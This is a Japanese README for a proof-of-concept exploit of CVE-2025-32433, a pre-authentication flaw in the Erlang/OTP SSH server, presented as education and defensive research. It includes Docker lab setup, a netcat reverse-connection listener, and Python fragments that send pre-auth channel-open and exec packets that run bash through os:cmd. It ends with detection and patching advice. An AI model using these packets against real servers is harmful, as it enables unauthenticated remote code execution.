
CVE-2025-32433の概念実証エクスプロイトで、Erlang/OTP SSHの事前認証チャネル混乱の脆弱性であり、Dockerラボで認証バイパスとリモートコード実行を示します。
説明: Erlang/OTP SSH 事前認証チャネル混乱の脆弱性のデモンストレーション。
この PoC は何についてですか?
この概念実証は CVE-2025-32433 を実証します。これは Erlang/OTP SSH サーバー実装 における脆弱性で、攻撃者が 認証前に SSH チャネルを開き、コマンドを実行する ことを可能にします。
SSH プロトコルの状態遷移の不適切な強制により、特定の SSH メッセージ(SSH_MSG_CHANNEL_OPEN および SSH_MSG_CHANNEL_REQUEST)が ユーザー認証が正常に完了する前に 受け入れられます。これにより、完全な 認証バイパス と Erlang VM 内での リモートコマンド実行 が発生します。
この脆弱性が機能するためには何が脆弱でなければならないですか?
脆弱性は以下の条件が満たされた場合にトリガーされます。
ssh アプリケーションが有効である重要なのは、この問題は 弱い資格情報や設定ミスに依存せず、プロトコル状態処理の欠陥に起因する点です。
脆弱性はどのように現れ、なぜ悪用可能なのですか?
問題は Erlang/OTP SSH サーバーにおける 状態混乱の欠陥 に起因し、チャネル関連メッセージが処理される前に認証状態が厳密に強制されない ことにあります。
高いレベルでは、悪用は以下のように進行します。
session チャネルの SSH_MSG_CHANNEL_OPEN リクエストを送信します。exec タイプの SSH_MSG_CHANNEL_REQUEST が送信されます。os:cmd/1)を介して実行されます。この動作は、チャネルの作成とリクエストが認証成功後にのみ許可される と定義されている RFC 4252/4254 の SSH プロトコルモデルに違反します。
要約すると:
ssh_connection プロセスが exec リクエストを時期尚早に処理するこれは 論理および状態管理の脆弱性 であり、暗号の弱点ではありません。
以下の手順で Docker を使用して 自己完結型の脆弱な環境 をビルドしデプロイします。コンテナはすべての資格情報を拒否するように意図的に強化された SSH サーバーを実行し、コマンド実行の成功が認証バイパスの結果であることを保証します。
git clone https://github.com/AntonieSoga/Erlang-OTP-PoC_CVE-2025-32433.git
docker build -t erlang-ssh .

docker run -d --name erlang-ssh -p 2222:2222 erlang-ssh
実行後、SSH デーモンはポート 2222 で公開され、提供された PoC を使用した悪用の準備が整います。
このスクリプトは、Erlang/OTP SSH サーバーにおいて特定の SSH プロトコルメッセージが認証前に処理されることを許す欠陥を悪用します。
悪用プロセスには 2 つのターミナルが必要です: 1 つはリバース接続を受け取るため、もう 1 つはエクスプロイトを起動するためです。
リスナー(ターミナル 1):
nc -lvnp 4488
エクスプロイトの実行(ターミナル 2):
python3 exploit.py
プロトコル偽装
s.sendall(b"SSH-2.0-OpenSSH_8.9\r\n")
s.sendall(pad(kex))
これらのメッセージは、サーバーに接続を正当な SSH クライアントとして扱わせるために使用されます。 認証を完了せずにチャネル関連メッセージを許可するのに十分なほど SSH プロトコル状態を進めます。
事前認証セッションチャネル
s.sendall(pad(b"\x5a" + s_pay("session") + struct.pack(">III", 0, 0x68000, 0x10000)))
このリクエストは、認証前にセッションチャネルを開くために使用されます。 脆弱な Erlang/OTP SSH サーバーでは、通常のアクセス制御をバイパスし、不正なセッションを作成します。
コマンド実行リクエスト
erl_cmd = f'os:cmd("bash -c \'{escaped}\'").'
exec_req = b"\x62" + struct.pack(">I", 0) + s_pay("exec") + b"\x01" + s_pay(erl_cmd)
このリクエストは、Erlang ランタイムを介してコマンド実行をトリガーするために使用されます。 ペイロードを Erlang 構文でラップすることで、コマンドが標準の SSH シェルコマンドとしてではなく、Erlang VM によって実行されることを保証します。
ターゲットが脆弱である場合、認証なしで提供されたコマンドが実行されます。


この脆弱性に対する防御は、標準の認証ログではバイパス試行が記録されない可能性があるため(認証がスキップされるため)、厳格なネットワークセグメンテーションとプロトコルレベルの監視に依存します。
SSH_MSG_CHANNEL_OPEN(タイプ 90)パケットが送信され、先行する SSH_MSG_USERAUTH_SUCCESS(タイプ 52)パケットがない SSH セッションを警告します。os:cmd 呼び出しやシェルプロセスの生成について Erlang VM を監視します。唯一の完全な修復策は、厳格な状態遷移を強制するために基盤となる Erlang/OTP ランタイムにパッチを適用することです。
チャネル作成前に認証チェックを強制するバージョンに直ちに Erlang/OTP ランタイムをアップグレードしてください。「影響を受ける条件」セクションにリストされているものより 新しい バージョンを実行していることを確認してください。
最新のセキュリティパッチについては、公式の Erlang/OTP GitHub Releases を確認してください。
即時のアップグレードが不可能な場合は、以下のコントロールを適用してください。
SSH アプリケーションの無効化: SSH インターフェースがミッションクリティカルでない場合は、アプリケーションを停止して攻撃対象領域を削除します。
ssh:stop().
ファイアウォールのホワイトリスト化: 公開された SSH ポートへのネットワークアクセスを内部の管理サブネットにのみ厳密に制限します。
Antonie Șoga
AntonieSoga · 協力者
Ene Călin Tudor
7uddy · 協力者
Cristian Bănică
BanicaCristian04 · 協力者
教育および防御研究目的のみ。
